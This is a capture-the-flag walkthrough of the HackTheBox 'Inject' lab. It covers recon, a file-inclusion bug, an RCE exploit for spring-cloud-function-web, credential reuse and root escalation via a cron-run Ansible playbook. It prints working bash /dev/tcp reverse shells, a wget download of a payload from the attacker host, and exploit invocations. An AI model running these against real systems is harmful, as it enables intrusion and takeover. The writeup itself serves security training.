Skip to main content
  1. Posts/

HackTheBox - Inject Writeup

·1746 words·9 mins
Recon>

Recon #

Firstly, we run nmap:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/inject]
└─$ nmap -A -T5 10.10.11.204
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-23 15:38 CET
Nmap scan report for 10.10.11.204
Host is up (0.035s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
|   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_  256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.37 seconds
Web Enumeration>

Web Enumeration #

Let’s look at the website:

d0a79d1670a46064b94a493b387d0042.png

Next we enumerate the subdirectories:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/inject]
└─$ gobuster dir -k --url http://10.10.11.204:8080  -b 404,400,500,503 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.204:8080
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   500,503,404,400
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/03/23 15:42:38 Starting gobuster in directory enumeration mode
===============================================================
/register             (Status: 200) [Size: 5654]
/blogs                (Status: 200) [Size: 5371]
/upload               (Status: 200) [Size: 1857]

We can see that there is an upload page:

aef0a0b67e6339998838c929156e4c08.png

Foothold>

Foothold #

LFI>

LFI #

The upload form only accepts images. After some time testing for a file upload vulnerability, we can see that when we upload a valid image, a link is returned:

Capture d’écran 2023-03-24 à 09.15.39.png

We test the img parameter for a LFI vulnerability and it works ! We got the /etc/passwd file:

f3936c722254bf32ac0d8fbda5175ea1.png

After some enumeration, we decide to enumerate the /var/www directory:

b3623c4dedc2898d689c4db9b9a4c0bd.png

The WebApp caught our attention, so let’s enumerate it:

cf95f352337664ba959eda8c3d7a25a0.png

There is a pom.xml file so let’s look at the dependencies used:

bd86b4877df1262302229cbe9eee1968.png

A Project Object Model or POM is the fundamental unit of work in Maven. It is an XML file that contains information about the project and configuration details used by Maven to build the project. It contains default values for most projects. Examples for this is the build directory, which is target; the source directory, which is src/main/java; the test source directory, which is src/test/java; and so on. When executing a task or goal, Maven looks for the POM in the current directory. It reads the POM, gets the needed configuration information, then executes the goal.

Some of the configuration that can be specified in the POM are the project dependencies, the plugins or goals that can be executed, the build profiles, and so on. Other information such as the project version, description, developers, mailing lists and such can also be specified.

Here is the complete file:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
	<modelVersion>4.0.0</modelVersion>
	<parent>
		<groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter-parent</artifactId>
		<version>2.6.5</version>
		<relativePath/> <!-- lookup parent from repository -->
	</parent>
	<groupId>com.example</groupId>
	<artifactId>WebApp</artifactId>
	<version>0.0.1-SNAPSHOT</version>
	<name>WebApp</name>
	<description>Demo project for Spring Boot</description>
	<properties>
		<java.version>11</java.version>
	</properties>
	<dependencies>
		<dependency>
  			<groupId>com.sun.activation</groupId>
  			<artifactId>javax.activation</artifactId>
  			<version>1.2.0</version>
		</dependency>

		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-thymeleaf</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-web</artifactId>
		</dependency>

		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-devtools</artifactId>
			<scope>runtime</scope>
			<optional>true</optional>
		</dependency>

		<dependency>
			<groupId>org.springframework.cloud</groupId>
			<artifactId>spring-cloud-function-web</artifactId>
			<version>3.2.2</version>
		</dependency>
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-test</artifactId>
			<scope>test</scope>
		</dependency>
		<dependency>
			<groupId>org.webjars</groupId>
			<artifactId>bootstrap</artifactId>
			<version>5.1.3</version>
		</dependency>
		<dependency>
			<groupId>org.webjars</groupId>
			<artifactId>webjars-locator-core</artifactId>
		</dependency>

	</dependencies>
	<build>
		<plugins>
			<plugin>
				<groupId>org.springframework.boot</groupId>
				<artifactId>spring-boot-maven-plugin</artifactId>
				<version>${parent.version}</version>
			</plugin>
		</plugins>
		<finalName>spring-webapp</finalName>
	</build>

</project>
RCE>

RCE #

Next, we search artifacts on https://mvnrepository.com to look for vulnerabilities. And we found one interesting CVE for spring-cloud-function-web - 3.2.2:

c7ae02b327beb889d1f06031aa7f6bc0.png

So, we understand that there is an RCE on this version.

Let’s use the exploit to get a shell on the host. Firstly, we create a reverse shell and we run a simple http server:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/inject]
└─$ cat test.sh 
bash -i >& /dev/tcp/10.10.14.85/1234 0>&1
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/inject]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Also, we start a listener:

┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ rlwrap nc -lvnp 1234
listening on [any] 1234 ...

Then, we target the vulnerable routing function to inject our code:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/inject/CVE-2022-22963-PoC]
└─$ python exploit.py 10.10.11.204:8080 'wget http://10.10.14.85:8000/test.sh -O /tmp/reverse.sh'
{"timestamp":"2023-03-24T09:45:36.524+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
[+] Host is vulnerable
[+] Command executed
[+] Exploit completed
                                                                     
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/inject/CVE-2022-22963-PoC]
└─$ python exploit.py 10.10.11.204:8080 'chmod +x /tmp/reverse.sh'
{"timestamp":"2023-03-24T09:45:46.768+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
[+] Host is vulnerable
[+] Command executed
[+] Exploit completed

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/inject/CVE-2022-22963-PoC]
└─$ python exploit.py 10.10.11.204:8080 'bash /tmp/reverse.sh'
{"timestamp":"2023-03-24T09:45:59.259+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
[+] Host is vulnerable
[+] Command executed
[+] Exploit completed

Then, we got a shell:

┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ rlwrap nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.85] from (UNKNOWN) [10.10.11.204] 45246
bash: cannot set terminal process group (825): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ id
id
uid=1000(frank) gid=1000(frank) groups=1000(frank)
User PrivEsc>

User PrivEsc #

Now, let’s enumerate the /home/frank:

bash-5.0$ ls -la
ls -la
total 3064
drwxr-xr-x 6 frank frank    4096 Mar 24 10:04 .
drwxr-xr-x 4 root  root     4096 Feb  1 18:38 ..
lrwxrwxrwx 1 root  root        9 Jan 24 13:57 .bash_history -> /dev/null
-rw-r--r-- 1 frank frank    3786 Apr 18  2022 .bashrc
drwx------ 2 frank frank    4096 Feb  1 18:38 .cache
drwx------ 3 frank frank    4096 Mar 24 10:04 .gnupg
drwxr-xr-x 3 frank frank    4096 Feb  1 18:38 .local
drwx------ 2 frank frank    4096 Feb  1 18:38 .m2
-rw-r--r-- 1 frank frank     807 Feb 25  2020 .profile
-rw-rw-r-- 1 root  root  3104768 Mar 24 09:37 pspy64
bash-5.0$ ls -la .m2
ls -la .m2
total 12
drwx------ 2 frank frank 4096 Feb  1 18:38 .
drwxr-xr-x 6 frank frank 4096 Mar 24 10:04 ..
-rw-r----- 1 root  frank  617 Jan 31 16:55 settings.xml
bash-5.0$ cat .m2/settings.xml
cat .m2/settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>

And we got phil’s passwords on the settings.xml file. Let’s elevate to him:

bash-5.0$ su phil
su phil
Password: DocPhillovestoInject123
bash-5.0$ id
id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
bash-5.0$ cd /home/phil
cd /home/phil
bash-5.0$ ls -la
ls -la
total 28
drwxr-xr-x 4 phil phil 4096 Mar 24 10:07 .
drwxr-xr-x 4 root root 4096 Feb  1 18:38 ..
lrwxrwxrwx 1 root root    9 Feb  1 07:40 .bash_history -> /dev/null
-rw-r--r-- 1 phil phil 3771 Feb 25  2020 .bashrc
drwx------ 2 phil phil 4096 Feb  1 18:38 .cache
drwxrwxr-x 3 phil phil 4096 Mar 24 10:06 .local
-rw-r--r-- 1 phil phil  807 Feb 25  2020 .profile
-rw-r----- 1 root phil   33 Mar 24 09:26 user.txt
bash-5.0$ cat user.txt
cat user.txt
078bb1f2033b24053982c48f26dafd08
Root PrivEsc>

Root PrivEsc #

Cron>

Cron #

We can see that there is an ansible playbook on the host:

bash-5.0$ ls -la /opt/
ls -la /opt/
total 12
drwxr-xr-x  3 root root 4096 Oct 20 04:23 .
drwxr-xr-x 18 root root 4096 Feb  1 18:38 ..
drwxr-xr-x  3 root root 4096 Oct 20 04:23 automation
bash-5.0$ ls -la /opt/automation
ls -la /opt/automation
total 12
drwxr-xr-x 3 root root  4096 Oct 20 04:23 .
drwxr-xr-x 3 root root  4096 Oct 20 04:23 ..
drwxrwxr-x 2 root staff 4096 Mar 24 10:28 tasks
bash-5.0$ ls -la /opt/automation/tasks
ls -la /opt/automation/tasks
total 12
drwxrwxr-x 2 root staff 4096 Mar 24 10:28 .
drwxr-xr-x 3 root root  4096 Oct 20 04:23 ..
-rw-r--r-- 1 root root   150 Mar 24 10:28 playbook_1.yml
bash-5.0$ cat /opt/automation/tasks/playbook_1.yml
cat /opt/automation/tasks/playbook_1.yml
- hosts: localhost
  tasks:
  - name: Checking webapp service
    ansible.builtin.systemd:
      name: webapp
      enabled: yes
      state: started

There is probably a cron running this playbook. Let’s monitor the processes with pspy64:

bash-5.0$ ./pspy64
./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
... 
2023/03/24 10:33:34 CMD: UID=0     PID=73006  | /bin/bash -p 
2023/03/24 10:34:02 CMD: UID=0     PID=73015  | /bin/sh -c sleep 10 && /usr/bin/rm -rf /opt/automation/tasks/* && /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/ 
2023/03/24 10:34:02 CMD: UID=0     PID=73014  | /usr/sbin/CRON -f 
2023/03/24 10:34:02 CMD: UID=0     PID=73013  | /usr/bin/python3 /usr/local/bin/ansible-parallel /opt/automation/tasks/playbook_1.yml 
2023/03/24 10:34:02 CMD: UID=0     PID=73012  | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml 
2023/03/24 10:34:02 CMD: UID=0     PID=73011  | /bin/sh -c sleep 10 && /usr/bin/rm -rf /opt/automation/tasks/* && /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/ 
2023/03/24 10:34:02 CMD: UID=0     PID=73010  | /usr/sbin/CRON -f 
2023/03/24 10:34:02 CMD: UID=0     PID=73009  | /usr/sbin/CRON -f 
2023/03/24 10:34:02 CMD: UID=0     PID=73008  | /usr/sbin/CRON -f 
2023/03/24 10:34:02 CMD: UID=0     PID=73017  | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml 
2023/03/24 10:34:03 CMD: UID=0     PID=73023  | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml 
2023/03/24 10:34:03 CMD: UID=0     PID=73042  | /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679654043.2118766-73023-93728635458498/AnsiballZ_setup.py 
2023/03/24 10:34:03 CMD: UID=0     PID=73041  | /bin/sh -c /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679654043.2118766-73023-93728635458498/AnsiballZ_setup.py && sleep 0 
2023/03/24 10:34:03 CMD: UID=0     PID=73040  | /bin/sh -c /bin/sh -c '/usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679654043.2118766-73023-93728635458498/AnsiballZ_setup.py && sleep 0' 
2023/03/24 10:34:03 CMD: UID=0     PID=73046  | /usr/bin/python3 -Es /usr/bin/lsb_release -a 
2023/03/24 10:34:03 CMD: UID=0     PID=73050  | /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679654043.2118766-73023-93728635458498/AnsiballZ_setup.py 
2023/03/24 10:34:04 CMD: UID=0     PID=73061  | /usr/bin/lspci -D 
2023/03/24 10:34:04 CMD: UID=0     PID=73072  | /usr/bin/sg_inq /dev/loop3 
2023/03/24 10:34:04 CMD: UID=0     PID=73074  | /sbin/lvs --noheadings --nosuffix --units g --separator , 
2023/03/24 10:34:04 CMD: UID=0     PID=73075  | /sbin/pvs --noheadings --nosuffix --units g --separator , 
2023/03/24 10:34:04 CMD: UID=0     PID=73085  | /usr/bin/python3 -Es /usr/bin/lsb_release -a 
2023/03/24 10:34:04 CMD: UID=0     PID=73093  | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml 
2023/03/24 10:34:05 CMD: UID=0     PID=73112  | /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679654044.8444421-73093-244944458043980/AnsiballZ_systemd.py 
2023/03/24 10:34:05 CMD: UID=0     PID=73111  | /bin/sh -c /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679654044.8444421-73093-244944458043980/AnsiballZ_systemd.py && sleep 0 
2023/03/24 10:34:05 CMD: UID=0     PID=73110  | /bin/sh -c /bin/sh -c '/usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679654044.8444421-73093-244944458043980/AnsiballZ_systemd.py && sleep 0' 

As the /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml is ran by the cron with root privileges, we can put a malicious playbook.yml under /usr/local/bin/ansible-parallel /opt/automation/tasks/ and he will be executed because of the star.

So, we can see that it is possible for staff members to create a playbook.

bash-5.0$ ls -la
ls -la
total 12
drwxrwxr-x 2 root staff 4096 Mar 24 10:38 .
drwxr-xr-x 3 root root  4096 Oct 20 04:23 ..
-rw-r--r-- 1 root root   150 Mar 24 10:38 playbook_1.yml
bash-5.0$ groups
groups
phil staff

Let’s create a playbook that is a reverse shell:

- hosts: localhost
  tasks:
  - name: rev
    shell: bash -c 'bash -i >& /dev/tcp/10.10.14.85/4444 0>&1'

And we got a shell !

──(parallels㉿kali-linux-2022-2)-[~]
└─$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.85] from (UNKNOWN) [10.10.11.204] 42310
bash: cannot set terminal process group (6320): Inappropriate ioctl for device
bash: no job control in this shell
root@inject:/opt/automation/tasks# id
id
uid=0(root) gid=0(root) groups=0(root)